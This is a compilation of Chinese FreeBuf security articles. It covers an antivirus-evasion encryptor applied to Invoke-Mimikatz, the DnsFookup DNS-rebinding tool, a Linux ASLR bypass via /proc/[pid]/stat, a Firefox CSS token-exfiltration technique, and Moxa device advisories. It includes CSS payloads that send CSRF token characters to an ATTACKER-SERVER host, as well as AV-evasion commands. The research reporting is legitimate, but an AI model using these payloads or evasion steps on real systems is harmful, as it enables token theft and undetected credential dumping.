运行了上述命令之后,你将会拿到一个已加密的文件名为“xenmimi.ps1”的PowerShell文件,该文件存储在当前工作目录下。你可以按照正常的脚本使用方式来运行或使用该脚本:

Import-Module ./xenmimi.ps1

Invoke-Mimikatz

除此之外,它还支持通过-Iterations参数来进行递归分层加密:

Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

上述命令将会对目标脚本进行100次的压缩和加密处理,这种方式对于动态反病毒产品绕过来说是非常有用的,因为这些反病毒产品都有一个代码分析的超时时间。在这里,动态扫描必须要扫描完整个文件代码链才有可能识别到恶意负载,因此通过递归分层加密将能够绕过这类AV产品。

不过,使用递归分层加密的话,将有可能导致最终生成的脚本文件体积过大,而且生成和输出文件可能也需要花很长的时间,具体将取决于脚本和请求的迭代次数。

工具运行截图

项目地址

Xencrypt:【GitHub传送门

* 参考来源:the-xentropy,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

今天给大家介绍的这款工具名叫DnsFookup,这是一款功能强大的DNS重绑定工具,广大研究人员可以使用该工具来对目标DNS服务器进行安全测试。

本质上来说,DnsFookup是一款DNS重绑定框架,该框架包含下列组件:

1、一个DNS服务器;

2、Web API,用于创建新的子域名,控制DNS服务器和查看日志等;

3、整合了React App,让工具使用更加方便;

工具机制

该工具可以帮助我们创建DNS绑定,其功能类似一个Burp Collaborator,但是DnsFookup能提供的功能更加丰富和强大:

在工具界面中,你可以指定DNS服务器需要解析的IP地址以及重复次数,目前版本的DnsFookup只支持A记录。接下来,你就可以直接在日志记录中查看到请求来源,以及解析结果了。

工具安装

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/makuga01/dnsFookup.git

工具运行

首先,我们需要检查.py文件中的参数配置信息,相关配置信息一般使用下列形式进行标注:

"""

*** CONFIG ***

"""

当然了,别忘了修改下列文件中的Docker以及Redis密码:

docker-compose.yml

app.py

dns_resources

接下来,可以使用下列命令配置Postgres和Redis:

sudo docker-compose up

切换到./BE中,运行下列命令:

pip3 install -r requirements.txt

python3 dns.py # to start the dns server

如果仅出于测试目的的话,开发版服务器已经足够了:

FLASK_APP=app.py

FLASK_ENV=development

flask run

接下来,在./FE中运行下列命令:

npm install

npm start

API文档

为了登录和使用API,你需要使用令牌来完成身份验证,并在application/json中设置Content-Type。

注册-/auth/signup

POST /auth/signup

JSON主体:

{

    "username": "marek",

    "password": "ffffffff"

}

响应:

{

    "name": "marek",

    "access_token": "eyJuYW1lIjoiMTMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzNyBTZUtyM1QgVDBLM24ifQo="

}

登录-/auth/login

POST /auth/signup

JSON主体:

{

    "username": "marek",

    "password": "ffffffff"

}

响应:

{

    "name": "marek",

    "access_token": "eyJuYW1lIjoiMTMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzNyBTZUtyM1QgVDBLM24ifQo="

}

注销-/auth/logout

POST /auth/logout

响应:

{

    "message": "Access token has been revoked"

}

获取用户名

GET /api/user

响应:

{

    "name": "marek"

}

创建新的令牌-/api/fookup/new

POST /api/fookup/new

JSON主体:

{

"name":"dsads",

"ip_props":

{

"1":{

"ip":"123.0.0.1"

,"repeat":13

},

"2":{

"ip":"3.2.1.1",

"repeat": "4ever"

}

}

}

响应:

{

    "subdomain": "0dd4d9083d7647e1a5fd5f1444e655ce.gel0.space"

}

使用样例1

假设,我们向工具提供下列内容:

{

"name":"dsads",

"ip_props":

{

"1":{

"ip":"1.1.1.1"

,"repeat":2

},

"2":{

"ip":"2.2.2.2",

"repeat": 1

}

}

}

接下来,针对该域名使用host命令来进行测试:

$host {domain}

{domain} has address 1.1.1.1

$host {domain}

{domain} has address 1.1.1.1

$host {domain}

{domain} has address 2.2.2.2

$host {domain}

{domain} has address 1.1.1.1

$host {domain}

{domain} has address 1.1.1.1

$host {domain}

{domain} has address 2.2.2.2

...

使用样例2

{

"name":"dsads",

"ip_props":

{

"1":{

"ip":"1.1.1.1"

,"repeat":2

},

"2":{

"ip":"2.2.2.2",

"repeat": "4ever"

}

}

}

Host命令的输出如下:

$host {domain}

{domain} has address 1.1.1.1

$host {domain}

{domain} has address 1.1.1.1

$host {domain}

{domain} has address 2.2.2.2

$host {domain}

{domain} has address 2.2.2.2

$host {domain}

{domain} has address 2.2.2.2

$host {domain}

{domain} has address 2.2.2.2

$host {domain}

{domain} has address 2.2.2.2

获取所有的日志文件-/api/fookup/logs/all

这个API可以帮助我们返回所有的日志文件:

GET /api/fookup/logs/all

响应:

[

   {

       "uuid": "0dd4d9083d7647e1a5fd5f1444e655ce",

       "resolved_to": "123.0.0.0",

       "domain": "0dd4d9083d7647e1a5fd5f1444e655ce.gel0.space",

       "origin_ip": "127.0.0.1",

       "port": "41095",

       "created_date": "2019-09-17 20:38:44.769560"

   },

...snip...

   {

       "uuid": "ffffffffffffffffffffffffffffffff",

       "resolved_to": "99.123.64.19",

       "domain": "0dd4d9083d7647e1a5fd5f1444e655ce.gel0.space",

       "origin_ip": "127.0.0.1",

       "port": "51515",

       "created_date": "2019-09-17 20:38:50.321975"

   }

]

统计数据-/api/statistics

这个API可以帮助我们获取到前端App的统计数据:

GET /api/statistics

响应:

{

   "request_count": 420,

   "created_bins": 69

}

项目地址

DnsFookup:【GitHub传送门

* 参考来源:makuga01,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

介绍

ASLR,应为全称为Address Space Layout Randomization,即地址空间布局随机化。它是一种概率性安全防御机制,由PaX团队于2001年正式提出,并在2005年开始引入到Linux内核之中。ASLR能够在每次运行可执行文件的时候通过基地址随机映射的方式来为其随机分配地址空间。ASLR存在的目的,就是为了防止那些需要了解内存地址来利用内存崩溃漏洞的攻击行为。

在此之前,内存崩溃漏洞的成功利用需要来了解硬编码的内存地址,以便攻击者获取到可执行指令的地址并实现任意代码执行,或破坏关键的程序数据。ASLR最初是用来抵御和防范远程攻击者的,因为攻击者需要获取到目标设备的内存地址才能执行攻击,那么对于远程攻击者来说,实现掌握的关于内存地址的信息肯定不会很多。

历史回顾

对于本地攻击者来说,/proc/[pid]/一直都存在各种问题,而且一般都是信息泄露漏洞的主要来源。2009年,谷歌安全团队的Tavis Ormandy和Julien Tinnes曾在CanSecWest就Linux ASLR这个话题进行过一次演讲【PDF】,并在演讲中演示了如何通过/proc/[pid]/stat和/proc/[pid]/wchan来获取目标进程中的指令指针以及堆栈指针等信息,而这些信息可以帮助攻击者重建目标进程的地址空间布局。

十年后的2019年4月3日,一个针对v4.8以下版本Linux内核的漏洞利用代码被曝光,而这个漏洞同样利用了/proc/[pid]/stat来获取之前提到的指令指针和栈指针。因为fs/binfmt_elf.c中的load_elf_binary()调用install_exec_creds()的时机太晚了,可执行文件已经被映射到地址空间,然后才设置访问凭证,因此攻击者将能够绕过ptrace_may_access()检的查,而这个检查机制正是为了修复Tavis和Julien提出的攻击而引入的。攻击者只要在install_exec_creds()调用前使用read()来读取/proc/[pid]/stat,就可利用这一个竞争条件漏洞了。

2019年4月25日,就在CVE-2019-11190被曝光之后,SUSE Linux的安全工程师也在Openwall的oss-sec列表上发布了一个已被修复了的安全问题,版本号低于3.18的内核版本都会受到该漏洞的影响。这个漏洞是一个ASLR绕过漏洞,由于/proc/[pid]/maps伪文件的权限检查放在了read(),而不是open(),这个伪文件中包含当前映射的内存区域及其访问权限。

$ cat /proc/self/maps

00400000-0040c000 r-xp 00000000 08:04 3670122                            /bin/cat

0060b000-0060c000 r--p 0000b000 08:04 3670122                            /bin/cat

0060c000-0060d000 rw-p 0000c000 08:04 3670122                            /bin/cat

02496000-024b7000 rw-p 00000000 00:00 0                                  [heap]

7f508bd4b000-7f508beec000 r-xp 00000000 08:04 7605352                    /lib/x86_64-linux-gnu/libc.so

7f508beec000-7f508c0ec000 ---p 001a1000 08:04 7605352                    /lib/x86_64-linux-gnu/libc.so

7f508c0ec000-7f508c0f0000 r--p 001a1000 08:04 7605352                    /lib/x86_64-linux-gnu/libc.so

7f508c0f0000-7f508c0f2000 rw-p 001a5000 08:04 7605352                    /lib/x86_64-linux-gnu/libc.so

7f508c0f2000-7f508c0f6000 rw-p 00000000 00:00 0 

7f508c0f6000-7f508c117000 r-xp 00000000 08:04 7605349                    /lib/x86_64-linux-gnu/ld.so

7f508c164000-7f508c2ed000 r--p 00000000 08:04 800126                     /usr/lib/locale/locale-archive

7f508c2ed000-7f508c2f0000 rw-p 00000000 00:00 0 

7f508c2f2000-7f508c316000 rw-p 00000000 00:00 0 

7f508c316000-7f508c317000 r--p 00020000 08:04 7605349                    /lib/x86_64-linux-gnu/ld.so

7f508c317000-7f508c318000 rw-p 00021000 08:04 7605349                    /lib/x86_64-linux-gnu/ld.so

7f508c318000-7f508c319000 rw-p 00000000 00:00 0 

7ffcf3496000-7ffcf34b7000 rw-p 00000000 00:00 0                          [stack]

7ffcf351b000-7ffcf351e000 r--p 00000000 00:00 0                          [vvar]

7ffcf351e000-7ffcf351f000 r-xp 00000000 00:00 0                          [vdso]

ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

从v2.6.22开始,如果你无法将ptrace()附加到某进程下的话,Linux内核就不允许它读取/proc/[pid]/maps,这也就意味着非特权用户将无法读取映射的伪文件。

$ su &

[1] 2661

$ cat /proc/2661/maps

cat: /proc/2661/maps: Permission denied

正如在oss-sec的漏洞公告中介绍的那样,权限检查在read()出执行,这里之所以存在安全问题,是因为非特权用户可以打开映射文件,从中获取到有效的文件描述符,然后将其发送给特权程序。例如setuid root,而某些特权程序可以以某种方式将文件中的内容泄露给非特权用户,因为特权进程有权限利用read()函数来读取映射文件。

相关的漏洞修复方案可以点击【这里】获取。

漏洞分析

但是,这个修复方案是存在问题的,因为还有其他的/proc/[pid]/伪文件可以泄露当前映射的内存地址,而它们的权限检查仍然是在read()处进行的。在这里,引发问题的还是/proc/[pid]/stat。

$ su &

[1] 2767

$ ls -l /proc/2767/stat

-r--r--r-- 1 root root 0 Feb  4 16:50 /proc/2767/stat

[1]+  Stopped                 su

$ cat /proc/2767/stat

2767 (su) T 2766 2767 2766 34817 2773 1077936128 266 0 1 0 0 0 0 0 20 0 1 0 181759 58273792 810 18446744073709551615 1 1 0 0 0 0 524288 6 0 0 0 0 17 1 0 0 6 0 0 0 0 0 0 0 0 0 0

但这一次情况的不同之处就在于,非特权用户可以在不将ptrace()附加到目标进程的情况下读取其所属的/proc/[pid]/stat,但是此时的内存地址字段都被字符“0”替换了。Linux v5.5中的fs/proc/array.c部分代码如下:

static int do_task_stat(struct seq_file *m, struct pid_namespace *ns,

struct pid *pid, struct task_struct *task, int whole)

{

[...]

int permitted;

[...]

permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT);

[...]

seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->start_code : 1) : 0);

seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->end_code : 1) : 0);

seq_put_decimal_ull(m, " ", (permitted && mm) ? mm->start_stack : 0);

[...]

}

这个漏洞的利用方式跟SUSE的安全工程师在oss-sec上发布的一样,只不过这种情况下读取的应该是/proc/[pid]/stat。除此之外,还有一些其他可能会泄露内存地址的setuid文件,其中包括procmail、spice-client-glib-usb-acl-helper和setuid root。

比如说,我们下面用procmail来举个例子:

$ su &

[1] 3122

$ cut -d' ' -f51 /proc/3122/stat

0

[1]+  Stopped                 su

$ procmail < /proc/3122/stat

$ tail -2 /var/spool/mail/user | cut -d' ' -f51

140726221803504

$ printf '0x%x\n' 140726221803504

0x7ffd60760ff0

# cat /proc/3122/maps

[...]

7ffd60740000-7ffd60761000 rw-p 00000000 00:00 0                          [stack]

漏洞利用

我们已将完整的漏洞利用PoC-ASLREKT发布在了GitHub上,感兴趣的用户自行可以下载并测试。

ASLREKT:【传送门

下面给出的是PoC的执行情况:

$ ./aslrekt

***** ASLREKT *****

Password: 

[+] /bin/su .text is at 0x564219868000

[+] /bin/su heap is at 0x56421b657000

[+] /bin/su stack is at 0x7ffe78d76000

# cat /proc/$(pidof su)/maps

564219868000-564219871000 r-xp 00000000 08:04 3674996                    /bin/su

[...]

56421b657000-56421b678000 rw-p 00000000 00:00 0                          [heap]

[...]

7ffe78d76000-7ffe78d97000 rw-p 00000000 00:00 0                          [stack]

总结

自从Linux将ASLR引入内核机制以来,针对ASLR的本地攻击一直都未能断绝,毫无疑问,以后针对ASLR的攻击也不会减少。Linux的内核开发者们似乎对/proc/[pid]/的安全问题也缺乏一定的认识,因此该问题才迟迟得不到适当的解决。

* 参考来源:blazeinfosec,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

在几个月之前,我在Firefox浏览器中发现了一个安全漏洞,这个漏洞就是CVE-2019-17016。在分析这个安全漏洞的过程中,我发现了一种新技术,即利用单一注入点从Firefox浏览器中提取CSS数据。在这篇文章中,我将跟大家详细介绍这项技术。

基础技术和现有技术

在我们的演示样例中,假设我们想获取<input>元素中的CSRF令牌:

<input type="hidden" name="csrftoken" value="SOME_VALUE">

可能是由于内容安全策略的原因,这里我们无法使用脚本来实现这个目的,因此我们尝试寻找基于样式的注入点。一般来说,我们会选择使用属性选择器:

input[name='csrftoken'][value^='a'] {

  background: url(//ATTACKER-SERVER/leak/a);

}

input[name='csrftoken'][value^='b'] {

  background: url(//ATTACKER-SERVER/leak/b);

}

...

input[name='csrftoken'][value^='z'] {

  background: url(//ATTACKER-SERVER/leak/z);

}

如果这里部署了CSS规则,那么攻击者就可以获取一个HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,其中需要包含已窃取的第一个字符:

input[name='csrftoken'][value^='aa'] {

  background: url(//ATTACKER-SERVER/leak/aa);

}

input[name='csrftoken'][value^='ab'] {

  background: url(//ATTACKER-SERVER/leak/ab);

}

...

input[name='csrftoken'][value^='az'] {

  background: url(//ATTACKER-SERVER/leak/az);

}

此时,攻击者需要重新加载目标页面中的<iframe>以提供后续的样式表。

在2018年,Pepe Vila提供了一种利用CSS递归导入的方式实现在Chrome浏览器中的单一注入点利用技术。而在2019年,Nathanial Lattimer(@d0nutptr)基于该技术重新提出了一种 改进方案,这种技术比较适用于本文针对Firefox浏览器的场景。

在第一次注入时,我们需要用到大量import:

@import url(//ATTACKER-SERVER/polling?len=0);

@import url(//ATTACKER-SERVER/polling?len=1);

@import url(//ATTACKER-SERVER/polling?len=2);

...

该技术的运行机制如下:

首先,在一开始只有第一个@import会返回一个样式表,其他语句处于连接阻塞状态。此时,第一个@import返回目标样式表,其中包含了令牌的第一个字符。接下来,当泄露的第一个令牌抵达攻击者的服务器端ATTACKER-SERVER之后,第二个@import将停止阻塞,并返回包含令牌第一个字符的样式表,然后尝试获取令牌中的第二个字符。最后,当第二个泄露字符到达攻击者的服务器端ATTACKER-SERVER之后,第三个@import将停止阻塞……以此类推。

这种技术之所以有效,是因为Chrome会采用异步方式处理@import,因此当任何@import停止阻塞时,Chrome会立即解析该语句并应用执行。

Firefox与样式表处理

跟Chrome相比,Firefox针对样式表的处理方式完全不同。首先,Firefox会采用同步方式处理样式表。因此,当样式表中有多个@import时,只有当所有@import都处理完毕时CSS规则才会被应用。比如说:

<style>

@import '/polling/0';

@import '/polling/1';

@import '/polling/2';

</style>

假设第一个@import返回CSS规则时,会将页面背景设置为蓝色,后面的@import将处于阻塞状态。在Chrome中,页面会立即变成蓝色,但是在Firefox中却不会有任何反应。

此时,我们可以将所有的@import单独放在<style>元素中:

<style>@import '/polling/0';</style>

<style>@import '/polling/1';</style>

<style>@import '/polling/2';</style>

在上述代码中,Firefox会分别处理所有的样式表,此时Firefox中的页面会立刻变蓝色,其他的@import会在后台进行处理。

不过这里还有一个问题,比如说我们想窃取包含10个字符的令牌:

<style>@import '/polling/0';</style>

<style>@import '/polling/1';</style>

<style>@import '/polling/2';</style>

...

<style>@import '/polling/10';</style>

Firefox会立即将10个@import加入队列。在处理完第一个@import之后,Firefox会将带有已知字符的另一个请求加入队列。问题就在于,该请求会被追加到队尾处。在默认情况下,浏览器跟同一个服务器只能建立六条并发链接。因此,带有已知字符的请求永远不会到达目标服务器,因为该服务器已经有六条阻塞链接了,此时便会发生死锁。

解决方案:HTTP/2

六条并发链接的限制是由TCP层决定的,因此单台服务器同时只能存在六条TCP链接。而HTTP/2的其中一个优势就在于,它支持通过单个链接来发送多个HTTP请求(即多路复用),从而大大提升网络性能。

但是,Firefox针对单个HTTP/2连接的并发请求数也有限制,默认配置下限制数量为100条。如果需要使用更多的并发链接,则需要使用不同的主机名来设置,并强制Firefox创建第多条TCP链接。

比如说,如果我们创建到https://localhost:3000的100个请求,然后又创建到https://127.0.0.1:3000的50个请求,那么Firefox就会创建两条TCP链接。

利用技术

技术利用场景如下:

1、代码基于HTTP/2实现;

2、“/polling/:session/:index”节点会返回一个CSS并泄露第“:index”个字符。该请求会处于阻塞状态,直到前一个请求成功泄露第“:index-1”个字符为止。其中,“:session”路径参数用来区分多次攻击行为。

3、通过“/leak/:session/:value”节点来获取完整的令牌,这里的“:value”即为获取到的完整令牌值。

4、为了强制Firefox向同一个服务器发起两条TCP链接,这里用到了两个节点,即https://localhost:3000https://127.0.0.1:3000

5、使用“/generate”节点来生成样本代码。

我给大家提供了一个测试站点,它可以利用本文的数据提取技术来窃取csrftoken,广大研究人员可以点击【这里】进行访问。

测试演示

视频观看:

* 参考来源:securitum,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近期,思科Talos安全团队的安全研究专家Jared Rittle和Carl Hurd在Moxa AWK-3131A网络设备中发现了三个严重的安全漏洞,这些漏洞将允许攻击者在安装了该款设备的工业环境中执行恶意活动。

AWK-3131A是一款无线网络设备,主要适用于大型工业环境,并能够提供跨部署环境的网络通信服务。根据安全研究专家的发现,这款设备中存在的几个严重安全漏洞将有可能允许攻击者执行各种恶意行为,其中包括远程代码执行和权限提升。

漏洞细节

Moxa AWK-3131A iw_console提权漏洞 (TALOS-2019-0925/CVE-2019-5136)

Moxa AWK-3131A的iw_console功能中存在一个可被攻击者利用的权限提升漏洞,受影响固件版本为v1.13。其中,一个特殊的菜单选择字符串将可能导致从受限控制台实现权限转换,并导致系统以root用户权限访问。攻击者可以在作为低权限用户进行身份验证时发送命令来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A ServiceAgent 使用硬编码加密密钥 (TALOS-2019-0926/CVE-2019-5137)

ServiceAgent二进制文件中硬编码加密密钥的使用,将允许攻击者解密从Moxa AWK-3131A(固件版本1.13)中捕捉到的网络流量。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A加密诊断脚本命令注入漏洞 (TALOS-2019-0927/CVE-2019-5138)

Moxa AWK-3131A(固件版本1.13)的加密诊断脚本功能中存在可利用的命令注入漏洞。巧尽心思构建的诊断脚本文件可能导致执行任意busybox命令,从而实现对设备进行远程控制。攻击者可以在验证为低权限用户时发送诊断信息以触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A多个iw_* 实用工具使用硬编码凭证漏洞 (TALOS-2019-0928/CVE-2019-5139)

Moxa AWK-3131A(固件版本1.13)的多个iw_*实用程序中存在可利用的硬编码凭据使用漏洞。设备操作系统包含未记录的加密密码,允许攻击者创建自定义诊断脚本。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A iw_webs DecryptScriptFile 文件名命令注入漏洞 (TALOS-2019-0929/CVE-2019-5140)

Moxa AWK-3131A(固件版本1.13)的iw_webs功能中存在可利用的命令注入漏洞。精心编制的诊断脚本文件名可能会导致用户输入的数据映射在随后的iw_系统调用中,从而实现对设备的远程控制。攻击者可以在作为低权限用户进行身份验证时发送命令来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A iw_webs iw_serverip 参数命令注入漏洞 (TALOS-2019-0930/CVE-2019-5141)

Moxa AWK-3131A(固件版本1.13)的iw_webs功能中存在可利用的命令注入漏洞。精心编制的iw_serverip参数可能会导致用户输入数据映射在随后的iw_系统调用中,从而实现对设备的远程控制。攻击者可以在作为低权限用户进行身份验证时发送命令来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A WAP主机名命令注入漏洞 (TALOS-2019-0931/CVE-2019-5142)

Moxa AWK-3131A(固件版本1.13)的主机名功能中存在可利用的命令注入漏洞。精心编制的网络配置信息条目可能导致攻击者在目标设备上执行任意系统命令,从而完全控制设备。攻击者可以发送各种经过身份验证的请求来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A iw_console conio_writestr远程代码执行漏洞 (TALOS-2019-0932/CVE-2019-5143)

Moxa AWK-3131A(固件版本1.13)的iw_console conio_writestr功能中存在可利用的格式字符串漏洞。精心编制的时间服务器条目可能导致时间服务器缓冲区溢出,从而导致远程代码执行。攻击者可以在作为低权限用户进行身份验证时发送命令来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A ServiceAgent 拒绝服务漏洞 (TALOS-2019-0938/CVE-2019-5148)

Moxa AWK-3131A(固件版本1.13)的ServiceAgent功能中存在可利用的拒绝服务漏洞。精心编制的数据包可能导致整型下溢的情况,将有可能导致系统访问未映射或越界的内存数据。攻击者可以在未经验证的情况下发送此数据包以触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A iw_webs 用户配置远程代码执行漏洞 (TALOS-2019-0944/CVE-2019-5153)

Moxa AWK-3131A(固件版本1.13)的iw_webs配置解析功能中存在可利用的远程代码执行漏洞。精心编制的用户名项可能导致错误消息缓冲区溢出,从而实现远程代码执行。攻击者可以在作为低权限用户进行身份验证时发送命令来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A iw_webs 账号设置错误访问控制漏洞 (TALOS-2019-0955/CVE-2019-5162)

Moxa AWK-3131A(固件版本1.13)的iw_webs帐户设置功能中存在可利用的不当访问控制漏洞。精心编制的用户名项可能会导致覆盖现有的用户帐户密码,从而导致攻击者能够以该用户身份远程shell访问设备。攻击者可以在作为低权限用户进行身份验证时发送命令来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

Moxa AWK-3131A iw_webs 主机名认证绕过漏洞 (TALOS-2019-0960/CVE-2019-5165)

Moxa AWK-3131A(固件版本1.13)的主机名处理进程中存在可利用的身份验证绕过漏洞。特别配置的设备主机名可能会导致设备将选定的远程通信量解释为本地通信量,从而绕过web身份验证。攻击者可以发送经过身份验证的SNMP请求来触发此漏洞。

如需了解该漏洞的详细信息,可以参考完整的【漏洞公告】。

版本测试

Talos安全团队已在运行了v1.13版本固件的Moxa AWK-3131A设备上测试并验证了相关漏洞。

漏洞修复

根据我们的协调披露政策,思科Talos安全团队已与Moxa展开深度合作,以确保这个问题能够在短期之内得到有效解决,并及时为受这些漏洞影响的用户提供更新补丁。【点我获取

* 参考来源:talosintelligence,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM